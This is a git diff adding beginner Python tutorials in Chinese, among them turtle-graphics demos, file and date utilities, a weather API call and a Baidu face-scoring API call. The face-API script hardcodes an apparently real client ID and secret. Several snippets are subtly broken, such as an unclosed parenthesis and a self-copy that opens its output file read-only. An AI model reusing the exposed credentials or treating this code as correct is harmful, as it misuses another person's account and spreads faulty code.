range(left, right): # range is non-inclusive of ending value + if shelf[i].size < pivot.size: + shelf.insert(store_index, shelf.pop(i)) + store_index = store_index + 1 + shelf.insert(store_index, shelf.pop(right)) # move pivot to correct position + return store_index + +def qsort(shelf, left, right): + if left < right: + pivot_index = left + pivot_new_index = partition(shelf, left, right, pivot_index) + qsort(shelf, left, pivot_new_index - 1) + qsort(shelf, pivot_new_index + 1, right) + +def randomize(): + disable_keys() + clear() + target = list(range(10)) + random.shuffle(target) + for i, t in enumerate(target): + for j in range(i, len(s)): + if s[j].size == t + 1: + s.insert(i, s.pop(j)) + show_text(instructions1) + show_text(instructions2, line=1) + enable_keys() + +def show_text(text, line=0): + line = 20 * line + goto(0,-250 - line) + write(text, align="center", font=("Courier", 16, "bold")) + +def start_ssort(): + disable_keys() + clear() + show_text("Selection Sort") + ssort(s) + clear() + show_text(instructions1) + show_text(instructions2, line=1) + enable_keys() + +def start_isort(): + disable_keys() + clear() + show_text("Insertion Sort") + isort(s) + clear() + show_text(instructions1) + show_text(instructions2, line=1) + enable_keys() + +def start_qsort(): + disable_keys() + clear() + show_text("Quicksort") + qsort(s, 0, len(s) - 1) + clear() + show_text(instructions1) + show_text(instructions2, line=1) + enable_keys() + +def init_shelf(): + global s + s = Shelf(-200) + vals = (4, 2, 8, 9, 1, 5, 10, 3, 7, 6) + for i in vals: + s.push(Block(i)) + +def disable_keys(): + onkey(None, "s") + onkey(None, "i") + onkey(None, "q") + onkey(None, "r") + +def enable_keys(): + onkey(start_isort, "i") + onkey(start_ssort, "s") + onkey(start_qsort, "q") + onkey(randomize, "r") + onkey(bye, "space") + +def main(): + getscreen().clearscreen() + ht(); penup() + init_shelf() + show_text(instructions1) + show_text(instructions2, line=1) + enable_keys() + listen() + return "EVENTLOOP" + +instructions1 = "press i for insertion sort, s for selection sort, q for quicksort" +instructions2 = "spacebar to quit, r to randomize" + +if __name__=="__main__": + msg = main() + mainloop() + +``` +⑥绘制海龟树(深度优先算法): +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8bbe208070e64debb3df7e43e0454776.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_tree.py + +Displays a 'breadth-first-tree' - in contrast +to the classical Logo tree drawing programs, +which use a depth-first-algorithm. + +Uses: +(1) a tree-generator, where the drawing is +quasi the side-effect, whereas the generator +always yields None. +(2) Turtle-cloning: At each branching point +the current pen is cloned. So in the end +there are 1024 turtles. +""" +from turtle import Turtle, mainloop +from time import clock + +def tree(plist, l, a, f): + """ plist is list of pens + l is length of branch + a is half of the angle between 2 branches + f is factor by which branch is shortened + from level to level.""" + if l > 3: + lst = [] + for p in plist: + p.forward(l) + q = p.clone() + p.left(a) + q.right(a) + lst.append(p) + lst.append(q) + for x in tree(lst, l*f, a, f): + yield None + +def maketree(): + p = Turtle() + p.setundobuffer(None) + p.hideturtle() + p.speed(0) + p.getscreen().tracer(30,0) + p.left(90) + p.penup() + p.forward(-210) + p.pendown() + t = tree([p], 200, 65, 0.6375) + for x in t: + pass + print(len(p.getscreen().turtles())) + +def main(): + a=clock() + maketree() + b=clock() + return "done: %.2f sec." % (b-a) + +if __name__ == "__main__": + msg = main() + print(msg) + mainloop() + +``` +⑦两个画笔: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ff48d78f01f94bd3b723a29806b45357.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +"""turtledemo.two_canvases + +Use TurtleScreen and RawTurtle to draw on two +distinct canvases in a separate windows. The +new window must be separately closed in +addition to pressing the STOP button. +""" + +from turtle import TurtleScreen, RawTurtle, TK + +def main(): + root = TK.Tk() + cv1 = TK.Canvas(root, width=300, height=200, bg="#ddffff") + cv2 = TK.Canvas(root, width=300, height=200, bg="#ffeeee") + cv1.pack() + cv2.pack() + + s1 = TurtleScreen(cv1) + s1.bgcolor(0.85, 0.85, 1) + s2 = TurtleScreen(cv2) + s2.bgcolor(1, 0.85, 0.85) + + p = RawTurtle(s1) + q = RawTurtle(s2) + + p.color("red", (1, 0.85, 0.85)) + p.width(3) + q.color("blue", (0.85, 0.85, 1)) + q.width(3) + + for t in p,q: + t.shape("turtle") + t.lt(36) + + q.lt(180) + + for t in p, q: + t.begin_fill() + for i in range(5): + for t in p, q: + t.fd(50) + t.lt(72) + for t in p,q: + t.end_fill() + t.lt(54) + t.pu() + t.bk(50) + + return "EVENTLOOP" + + +if __name__ == '__main__': + main() + TK.mainloop() # keep window open until user closes it + +``` +⑧绘制好看的圆形图案: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6602cb0623fd48cc8785db76b6c74686.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +""" turtle-example-suite: + + tdemo_wikipedia3.py + +This example is +inspired by the Wikipedia article on turtle +graphics. (See example wikipedia1 for URLs) + +First we create (ne-1) (i.e. 35 in this +example) copies of our first turtle p. +Then we let them perform their steps in +parallel. + +Followed by a complete undo(). +""" +from turtle import Screen, Turtle, mainloop +from time import clock, sleep + +def mn_eck(p, ne,sz): + turtlelist = [p] + #create ne-1 additional turtles + for i in range(1,ne): + q = p.clone() + q.rt(360.0/ne) + turtlelist.append(q) + p = q + for i in range(ne): + c = abs(ne/2.0-i)/(ne*.7) + # let those ne turtles make a step + # in parallel: + for t in turtlelist: + t.rt(360./ne) + t.pencolor(1-c,0,c) + t.fd(sz) + +def main(): + s = Screen() + s.bgcolor("black") + p=Turtle() + p.speed(0) + p.hideturtle() + p.pencolor("red") + p.pensize(3) + + s.tracer(36,0) + + at = clock() + mn_eck(p, 36, 19) + et = clock() + z1 = et-at + + sleep(1) + + at = clock() + while any([t.undobufferentries() for t in s.turtles()]): + for t in s.turtles(): + t.undo() + et = clock() + return "runtime: %.3f sec" % (z1+et-at) + + +if __name__ == '__main__': + msg = main() + print(msg) + mainloop() + +``` +⑨阴阳图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/995e3813c30d4a31a63878190d4eb1a6.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_yinyang.py + +Another drawing suitable as a beginner's +programming example. + +The small circles are drawn by the circle +command. + +""" + +from turtle import * + +def yin(radius, color1, color2): + width(3) + color("black", color1) + begin_fill() + circle(radius/2., 180) + circle(radius, 180) + left(180) + circle(-radius/2., 180) + end_fill() + left(90) + up() + forward(radius*0.35) + right(90) + down() + color(color1, color2) + begin_fill() + circle(radius*0.15) + end_fill() + left(90) + up() + backward(radius*0.35) + down() + left(90) + +def main(): + reset() + yin(200, "black", "white") + yin(200, "white", "black") + ht() + return "Done!" + +if __name__ == '__main__': + main() + mainloop() + +``` + +
+ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2772bcea5e0b4b0ba434513f85c09cae.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/Python\350\216\267\345\217\226\345\275\223\345\211\215\346\227\245\346\234\237\345\222\214\346\227\266\351\227\264.md" "b/Python\350\216\267\345\217\226\345\275\223\345\211\215\346\227\245\346\234\237\345\222\214\346\227\266\351\227\264.md" new file mode 100644 index 0000000..96827a6 --- /dev/null +++ "b/Python\350\216\267\345\217\226\345\275\223\345\211\215\346\227\245\346\234\237\345\222\214\346\227\266\351\227\264.md" @@ -0,0 +1,52 @@ +今天我们使用Python来获取当前的日期和时间。 + +> 本次我们需要标准模块`time`。 + +首先让我们先理解几个单词的意思: + +``` +单词 翻译 缩写 +year 年 Y +month 月 m +day 日 d +hour 小时 H +minut 分钟 M +second 秒 S +``` + +打开开发工具,新建一个Python文档。 + +**输出日期** +输入代码如下: +```python +from time import strftime +print(strftime('%Y-%m-%d') +``` +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200821140306471.png#pic_center) +如果想要换种格式,可以将第二行代码改成: + +```python +print(strftime('%Y/%m/%d')) +``` +可见运行后效果改变了: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200821140759772.png#pic_center) + +**输出时间** +输入代码如下: + +```python +from time import strftime +print(strftime('%H:%M:%S')) +``` +实现效果如下: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200821141019879.png#pic_center) + +**如果同时都带上日期和时间** +输入代码如下: + +```python +from time import strftime +print('日期:%s\t时间:%s' % (strftime('%Y-%m-%d'),strftime('%H:%M:%S'))) +``` +代码完成了! diff --git "a/Python\350\216\267\345\217\226\346\226\207\344\273\266\347\232\204\350\241\214\346\225\260\345\222\214\346\237\220\344\270\200\350\241\214\347\232\204\345\206\205\345\256\271.md" "b/Python\350\216\267\345\217\226\346\226\207\344\273\266\347\232\204\350\241\214\346\225\260\345\222\214\346\237\220\344\270\200\350\241\214\347\232\204\345\206\205\345\256\271.md" new file mode 100644 index 0000000..4da79db --- /dev/null +++ "b/Python\350\216\267\345\217\226\346\226\207\344\273\266\347\232\204\350\241\214\346\225\260\345\222\214\346\237\220\344\270\200\350\241\214\347\232\204\345\206\205\345\256\271.md" @@ -0,0 +1,46 @@ +我们先创建一个文本文档,命名为`text.txt`: + +``` + 我的“长生果” + 叶文玲 +书,被人们称为人类文明的“长生果”。这个比喻,我觉得特别亲切。 +像蜂蝶飞过花丛,像泉水流经山谷,我每忆及少年时代,就禁不住涌起愉悦之情。在记忆的心扉中,少年时代的读书生活恰似一幅流光溢彩的画页,也似一阕跳跃着欢快音符的乐章。 +我最早的读物是被孩子们叫做“香烟人”的小画片。那是一种比火柴盒略大的硬纸片,正面印画,背面印字,是每盒香烟中的附赠物。遇到大人让小孩买烟,这美差往往被男孩抢了去,我们女孩只落了个眼羡的份儿。集得多了,就开始比赛用手掌刮“香烟人”,看谁刮得远。这时,我就卖力地呐喊助威,为的是最后能在赢家手里饱览那一大叠画片。这些印着“水浒”“三国”故事的小画片,是我最早见到的连环画。 +开始我看得津津有味,天长日久,就感到不过瘾了。 +后来,我看到几本真正的连环画。一位爱好美术的小学教师,他有几套连环画,我看得如醉如痴:《七色花》引得我浮想联翩,《血泪仇》又叫我泪落如珠。后来,哥哥的朋友们送了我几册小书:《刘得兰小传》《卓娅和舒拉的故事》《古丽雅的道路》……只要手中一有书,我就忘了吃忘了睡。 +渐渐地,连环画一类的小书已不能使我满足了,我又发现了一块“绿洲”——小镇的文化站有几百册图书!我每天一放下书包就奔向那里。几个月的功夫,这个小图书馆所有的文艺书籍,我差不多都借阅了。我读得很快,囫囵吞枣,大有“不求甚解”的味道。吸引我的首先是故事,是各种人物的命运遭遇,他们的悲欢离合常常使我牵肠挂肚。 +莎士比亚说:“书籍是全世界的营养品。”像我这样对阅读如饥似渴的少年,它的功用更是不言而喻。醉心阅读使我得到了报偿。从小学三年级开始,我的作文便常常居全班之冠。阅读也大大扩展了我的想象力。在家对着一面花纹驳杂的石墙,我会呆上半天,构种种神话传说;跃上遇到一个残疾人,我会黯然神伤,编织他的悲惨身世。 +记得有一次,作文的题目是《秋天来了》。教师读了一段范文之后,当大多数同学千篇一律地开始写“秋天来了,树叶黄了,一片一片地飘到了地上”时,我心里忽然掠过了不安分的一念:大家都这样写多没意思!我要用自己的眼睛去看秋天,用自己的感受去写秋天。 +我把秋天比作一个穿着金色衣裙的仙女,她那轻飘的衣袖拂去了太阳的焦热,将明亮和清爽撒给大地;她用宽大的衣衫挡着风寒,却捧起沉甸甸的果实奉献人间。人们都爱秋天,爱她的天高气爽,爱她的云淡日丽,爱她的香飘四野。秋天,使农民的笑容格外灿烂。 +于是,我的作文得到了个“甲优”,教师在文中又圈又点,将它作为范文在班上朗读。 +这小小的光荣,使我悟得一点道理:作文,首先构思要别出心裁,落笔也要有点与众不同的“鲜味”才好。这些领悟自然是课外读物的馈赠。 +后来,我又不满足于只看一般的故事书了,学校图书馆那丰富的图书又像磁石一样吸引着我,那些古今中外的大部头小说使我如醉如痴,我把所有课余时间都花在借阅图书上。这时我养成了做笔记的习惯:记书中优美的词语,记描写的精彩段落。做笔记锻炼了我的记忆力,也增强了我的理解力。 +有一次命题作文《一件不愉快的往事》我的情绪分外激动,觉得自己得到了一个大显身手的好机会:小时候受过的一次委屈,平常积累的那些描写苦恼心境的词语,像酵母似的发挥了作用。我从一个清冷的黄昏开始写,以月亮的美丽皎洁和周围人的嬉笑来反衬一个受委屈的小女孩的孤独和寂寞。写着写着,我禁不住眼泪花花。这篇充满真情实感的作文又得到了好评,被用大字誉抄出来贴在教室的墙上。可是 +看到老师用红笔圈出我写的月亮“像一轮玉盘嵌在蓝色的天幕中”这段文字,说这个“嵌”字用得特别传神时,我脸红了。 +我不能心安理得地接受这个赞誉——因为这句描写和这个“特别传神”的“嵌”字,是我看了巴金先生的《家》后念念不忘的词句。 +于是,我又悟出了一点道理:作文,要写真情实感;作文练习,开始离不开借鉴和模仿,但是真正打动人心的东西,应该是自己呕心沥血的创造。 +``` +在同文件夹下创建`read.py`,输入以下代码: + +```python +#嵌套错误语句 +try: + #读取文件 + with open('text.txt','r',encoding = 'utf-8') as f: + #读取文件内容 + temp = f.read() + #将文件按行数分成列表 + line_list = temp.splitlines() + #声明变量储存列表长度 + lines = len(line_list) + #用户输入行号 + get_line = int(input('请输入您要看第几行,共有%d行:' % (lines))) + #获取行内容,注意行号要减1,因为列表的下标是从0开始的 + get_line_text = line_list[get_line - 1] + #输出信息 + print('此文件共有%d行!\n这一行的内容是:\n%s' % (lines,get_line_text)) +#输出错误 +except Exception as e: + print('遇到错误:\n',e) +``` +这样就完成了! diff --git "a/Python\350\216\267\345\217\226\347\263\273\347\273\237\347\216\257\345\242\203\345\217\230\351\207\217.md" "b/Python\350\216\267\345\217\226\347\263\273\347\273\237\347\216\257\345\242\203\345\217\230\351\207\217.md" new file mode 100644 index 0000000..ee2104f --- /dev/null +++ "b/Python\350\216\267\345\217\226\347\263\273\347\273\237\347\216\257\345\242\203\345\217\230\351\207\217.md" @@ -0,0 +1,15 @@ +看代码: + +```python +from os import environ + +for a,b in environ.items(): + print(a,'==>',b) +``` +其他信息: + +```python +from platform import uname +print(uname()) +``` + diff --git "a/Python\350\247\243\345\206\263\342\200\234\351\270\241\345\205\224\345\220\214\347\254\274\342\200\235\351\227\256\351\242\230.md" "b/Python\350\247\243\345\206\263\342\200\234\351\270\241\345\205\224\345\220\214\347\254\274\342\200\235\351\227\256\351\242\230.md" new file mode 100644 index 0000000..9e2fa24 --- /dev/null +++ "b/Python\350\247\243\345\206\263\342\200\234\351\270\241\345\205\224\345\220\214\347\254\274\342\200\235\351\227\256\351\242\230.md" @@ -0,0 +1,53 @@ +今天我们来解决经典问题“鸡兔同笼”。 +**《孙子算经》** 中有这样的文字: + +> 今有雉兔同笼,上有三十五头,下有九十四足,问雉兔各几何? + +翻译现代文就是: + +> 鸡兔同笼,共有35个头,有94只脚,问鸡兔各有多少? + +**解方程** + +``` +解:设兔有x只,则鸡有(35-x)只 + 4x+2(35-x) = 94 +4x+2×35-2x = 94 +4x - 2x + 70 = 94 + 2x + 70 = 94 + 2x = 94-70 + 2x = 24 + x = 24÷2 + x = 12 +鸡:35-12=23(只) +检验:方程左边 + = 4x+2(35-x) + = 4×12 + 2× (35-12) + = 48 + 2×23 + = 48 + 46 + = 94 + = 方程右边 + +答:鸡有23只,兔有12只。 +``` + +**编程解答** + +```python +head = 35 +foot = 94 +#都算成兔 +y = (head * 4 - foot) / 2 +print('鸡的数量:',int(y)) +print('兔的数量:',int(head - y)) +``` + +```python +head = 35 +foot = 94 +#都算成鸡 +x = (foot - head * 2) / 2 +print('兔的数量:',int(x)) +print('鸡的数量:',int(head - x)) +``` + diff --git "a/Python\350\257\273\345\217\226\350\207\252\350\272\253\347\232\204\344\273\243\347\240\201.md" "b/Python\350\257\273\345\217\226\350\207\252\350\272\253\347\232\204\344\273\243\347\240\201.md" new file mode 100644 index 0000000..51834fa --- /dev/null +++ "b/Python\350\257\273\345\217\226\350\207\252\350\272\253\347\232\204\344\273\243\347\240\201.md" @@ -0,0 +1,11 @@ +今天(刚才)写程序时突然想到是不是可以读取当前文件自己的代码,然后再写到一个新文件里面,然后我就愣住了,这能行吗?? +我一番尝试**还真行**,成功了,代码就如下。 + +```python +with open(__file__,"r",encoding="utf-8") as r: + with open("copy.py","r",encoding="utf-8") as w: + w.write(r.read()) +``` + +上面的`__file__`就是当前文件的绝对路径。 + diff --git "a/Python\350\260\203\347\224\250API\350\216\267\345\217\226\345\244\251\346\260\224.md" "b/Python\350\260\203\347\224\250API\350\216\267\345\217\226\345\244\251\346\260\224.md" new file mode 100644 index 0000000..308706d --- /dev/null +++ "b/Python\350\260\203\347\224\250API\350\216\267\345\217\226\345\244\251\346\260\224.md" @@ -0,0 +1,41 @@ +(此程序需要`easygui`模块,请使用`pip install easygui`) +已知天气网站获取天气接口为` +'http://wthrcdn.etouch.cn/weather_mini?city=' + 城市名`,你知道代码咋写吗? + +```python +#导入包 +from requests import get +from easygui import enterbox,msgbox + +#获取今天天气的函数 +def getToday(cityName): + #定义全局变量 + global weatherDict,city,temperature,sick,types + #要访问的网络URL + url = 'http://wthrcdn.etouch.cn/weather_mini?city=' + cityName + #获取响应并解析 + response = get(url) + weatherDict = response.json() + #获取城市名 + city = weatherDict['data']['city'] + #将天气信息赋值给变量 + temperature = weatherDict['data']['wendu'] + '℃ ' + sick = weatherDict['data']['ganmao'] + types = weatherDict['data']['forecast'][0]['type'] + +#调用函数,输出天气信息 +search = enterbox('请输入中国城市:','天气助手') +getToday(search) +#判断城市名是否存在 +if weatherDict['desc'] == 'OK': + #输出天气信息 + msgbox(city + '的天气情况如下:' + '\n温度: ' + temperature + '\n温馨提示: ' + sick + '\n天气: ' + types,'天气助手') +else: + #反馈 + msgbox('您输入的城市名称不存在!','天气助手') +``` +实现效果: + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/202011071559322.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2020110715594823.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + diff --git "a/Python\350\260\203\347\224\250\347\231\276\345\272\246\344\272\272\350\204\270\350\257\206\345\210\253API\346\216\245\345\217\243\346\243\200\346\265\213\351\242\234\345\200\274.md" "b/Python\350\260\203\347\224\250\347\231\276\345\272\246\344\272\272\350\204\270\350\257\206\345\210\253API\346\216\245\345\217\243\346\243\200\346\265\213\351\242\234\345\200\274.md" new file mode 100644 index 0000000..04d6d96 --- /dev/null +++ "b/Python\350\260\203\347\224\250\347\231\276\345\272\246\344\272\272\350\204\270\350\257\206\345\210\253API\346\216\245\345\217\243\346\243\200\346\265\213\351\242\234\345\200\274.md" @@ -0,0 +1,89 @@ +我们今天使用Python发送网络请求到百度人脸识别API接口。 + +> 我们需要requests模块,它需要安装,代码是 +> `pip3 install requests` + +**注意:不好意思各位,我的配额没了!如需使用请在`getToken`里边更换为自己的`key`!** +首先我们先来介绍一下API是什么: + +> API就是操作系统留给应用程序的一个调用接口,应用程序通过调用操作系统的 API 而使操作系统去执行应用程序的命令。 + +介绍完了,我们开始写代码: + +```python +#导入所需模块 +from tkinter import Tk +from tkinter.messagebox import showinfo,showerror +from tkinter.filedialog import askopenfilename +from requests import post,get +from base64 import b64encode + +#声明变量 +totalList = [] + +#获取百度人脸识别接口 +def getToken(): + host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials' \ + '&client_id=T1KUrVlob1vUuLpQ0sOYrfoB&client_secret=obx6I60FomQIHqRwlx3mp1GXTGKOkHPu' + response = get(host) + content = response.json() + content = content['access_token'] + return content + + +#获取人脸识别数据 +def getData(img): + global beauty,path,level + requestUrl = 'https://aip.baidubce.com/rest/2.0/face/v3/detect' + token = getToken() + params = {'access_token': token} + f = open(img, 'rb') + temp = f.read() + image = b64encode(temp) + data = { + 'image':image, + 'image_type':'BASE64', + 'face_field':'beauty' + } + response = post(requestUrl, params=params, data=data) + print('响应结果:', response) + content = response.json() + print('解析结果:', content) + #可以将颜值加上20 + beauty = content['result']['face_list'][0]['beauty'] + if beauty <= 50 and beauty > 0: + level = '一般般吧!' + elif beauty <= 60: + level = '有些漂亮了!' + elif beauty <= 70: + level = '挺漂亮!' + elif beauty <= 80: + level = '好漂亮!' + elif beauty > 90: + level = '漂亮的爆表了!' + tempDict = {'image': img,'beauty':beauty,'level':level} + path = tempDict['image'] + totalList.append(tempDict) + + +#创建页面 +window = Tk() +window.withdraw() +image = askopenfilename(title = '请选择一张图片!',initialdir = 'C:/Windows') +try: + if not image != 0: + showerror(title = '错误',message = '请上传一张图片!') + else: + getData(img = image) + showinfo(title = '通知',message = '您的颜值是:{0}。\n颜值等级:{1}\n您上传的图片路径是:{2}。'.format(beauty,level,path)) +except FileNotFoundError: + showerror(title = '错误',message = '请上传一张图片!') +window.mainloop() +``` +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820130329430.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820130405378.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820130511211.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +我上传的是一张钟汉良的照片,如果换个人的话,数值可能就变了,**注意,一定要上传一张清晰的人脸照片,否则会报错。** +![钟汉良](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820130657725.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + diff --git "a/Python\350\276\223\345\207\2721-100\347\232\204\346\225\260\345\255\246\344\277\241\346\201\257.md" "b/Python\350\276\223\345\207\2721-100\347\232\204\346\225\260\345\255\246\344\277\241\346\201\257.md" new file mode 100644 index 0000000..42b602e --- /dev/null +++ "b/Python\350\276\223\345\207\2721-100\347\232\204\346\225\260\345\255\246\344\277\241\346\201\257.md" @@ -0,0 +1,173 @@ +今天我们来输出1~100之间的一些**数学**信息。 + +> 本次我们不需要任何第三方库。 + +**输出1~100所有数字的和** + +```python +sumNumber = 0 +for i in range(1,101): + sumNumber += i +print('1~100之间所有数字之和是:',sumNumber) +``` +或者使用`sum`计算和方法: + +```python +print('1~100之间所有数字之和是:',sum(range(1,101))) +``` + +**输出1~100之间所有奇数** + +```python +numbers = [] +for i in range(1,101): + if (i % 2) == 1: + numbers.append(i) +print(numbers) +``` + +**输出1~100之间所有偶数** + +```python +numbers = [] +for i in range(1,101): + if (i % 2) == 0: + numbers.append(i) +print(numbers) +``` + +**输出1~100之间所有奇数的和** + +```python +numberSum = 0 +for i in range(1,101): + if (i % 2) == 1: + numberSum += i +print(numberSum) +``` + +**输出1~100之间所有偶数的和** + +```python +numberSum = 0 +for i in range(1,101): + if (i % 2) == 0: + numberSum += i +print(numberSum) +``` + +**输出1~100之间所有质数** + +```python +def prime(maxNumber): + numbers = [] + min = 2 + while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.append(min) + min += 1 + print('{0} 以下的质数有:'.format(maxNumber)) + print(numbers) + print() + +#调用 +prime(100) +``` + +**输出1~100之间所有质数的和** + +```python +# coding : utf-8 +def prime(maxNumber): + numbers = [] + min = 2 + numberSum = 0 + while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.append(min) + min += 1 + for i in numbers: + numberSum += i + print('%s以内的质数和是:%s' % (maxNumber,numberSum)) + +prime(100) +``` + +**输出1~100所有合数** + +```python +maxNumber = 100 +numbers = [] +min = 2 +numberSum = 0 +for i in range(1,101): + numbers.append(i) + +while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.remove(min) + min += 1 +print(numbers) +``` + +**输出1~100所有合数的和** + +```python +maxNumber = 100 +numbers = [] +min = 2 +numberSum = 0 +for i in range(1,101): + numbers.append(i) + +while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.remove(min) + min += 1 +for i in numbers: + numberSum += i + +print('%s以内的合数和是:%s' % (maxNumber,numberSum)) +``` + +**输出1~100所有数字** + +```python +for i in range(1,101): + print(i,end = ' ') +``` + +**输出圆周率** + +```python +from math import pi +print('圆周率:',pi) +``` + +**输出自然常量** + +```python +from math import e +print('自然常量:',e) +``` + diff --git "a/Python\350\276\223\345\207\2721~100\347\232\204\346\225\260\345\255\246\344\277\241\346\201\257.md" "b/Python\350\276\223\345\207\2721~100\347\232\204\346\225\260\345\255\246\344\277\241\346\201\257.md" new file mode 100644 index 0000000..42b602e --- /dev/null +++ "b/Python\350\276\223\345\207\2721~100\347\232\204\346\225\260\345\255\246\344\277\241\346\201\257.md" @@ -0,0 +1,173 @@ +今天我们来输出1~100之间的一些**数学**信息。 + +> 本次我们不需要任何第三方库。 + +**输出1~100所有数字的和** + +```python +sumNumber = 0 +for i in range(1,101): + sumNumber += i +print('1~100之间所有数字之和是:',sumNumber) +``` +或者使用`sum`计算和方法: + +```python +print('1~100之间所有数字之和是:',sum(range(1,101))) +``` + +**输出1~100之间所有奇数** + +```python +numbers = [] +for i in range(1,101): + if (i % 2) == 1: + numbers.append(i) +print(numbers) +``` + +**输出1~100之间所有偶数** + +```python +numbers = [] +for i in range(1,101): + if (i % 2) == 0: + numbers.append(i) +print(numbers) +``` + +**输出1~100之间所有奇数的和** + +```python +numberSum = 0 +for i in range(1,101): + if (i % 2) == 1: + numberSum += i +print(numberSum) +``` + +**输出1~100之间所有偶数的和** + +```python +numberSum = 0 +for i in range(1,101): + if (i % 2) == 0: + numberSum += i +print(numberSum) +``` + +**输出1~100之间所有质数** + +```python +def prime(maxNumber): + numbers = [] + min = 2 + while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.append(min) + min += 1 + print('{0} 以下的质数有:'.format(maxNumber)) + print(numbers) + print() + +#调用 +prime(100) +``` + +**输出1~100之间所有质数的和** + +```python +# coding : utf-8 +def prime(maxNumber): + numbers = [] + min = 2 + numberSum = 0 + while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.append(min) + min += 1 + for i in numbers: + numberSum += i + print('%s以内的质数和是:%s' % (maxNumber,numberSum)) + +prime(100) +``` + +**输出1~100所有合数** + +```python +maxNumber = 100 +numbers = [] +min = 2 +numberSum = 0 +for i in range(1,101): + numbers.append(i) + +while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.remove(min) + min += 1 +print(numbers) +``` + +**输出1~100所有合数的和** + +```python +maxNumber = 100 +numbers = [] +min = 2 +numberSum = 0 +for i in range(1,101): + numbers.append(i) + +while min <= maxNumber: + is_prime = True + for i in range(2,min): + if (min % i) == 0: + is_prime = False + break + if is_prime == True: + numbers.remove(min) + min += 1 +for i in numbers: + numberSum += i + +print('%s以内的合数和是:%s' % (maxNumber,numberSum)) +``` + +**输出1~100所有数字** + +```python +for i in range(1,101): + print(i,end = ' ') +``` + +**输出圆周率** + +```python +from math import pi +print('圆周率:',pi) +``` + +**输出自然常量** + +```python +from math import e +print('自然常量:',e) +``` + diff --git "a/Python\350\276\223\345\207\272\345\210\227\350\241\250\344\270\255\344\277\241\346\201\257\347\232\204\345\207\240\347\247\215\345\212\236\346\263\225.md" 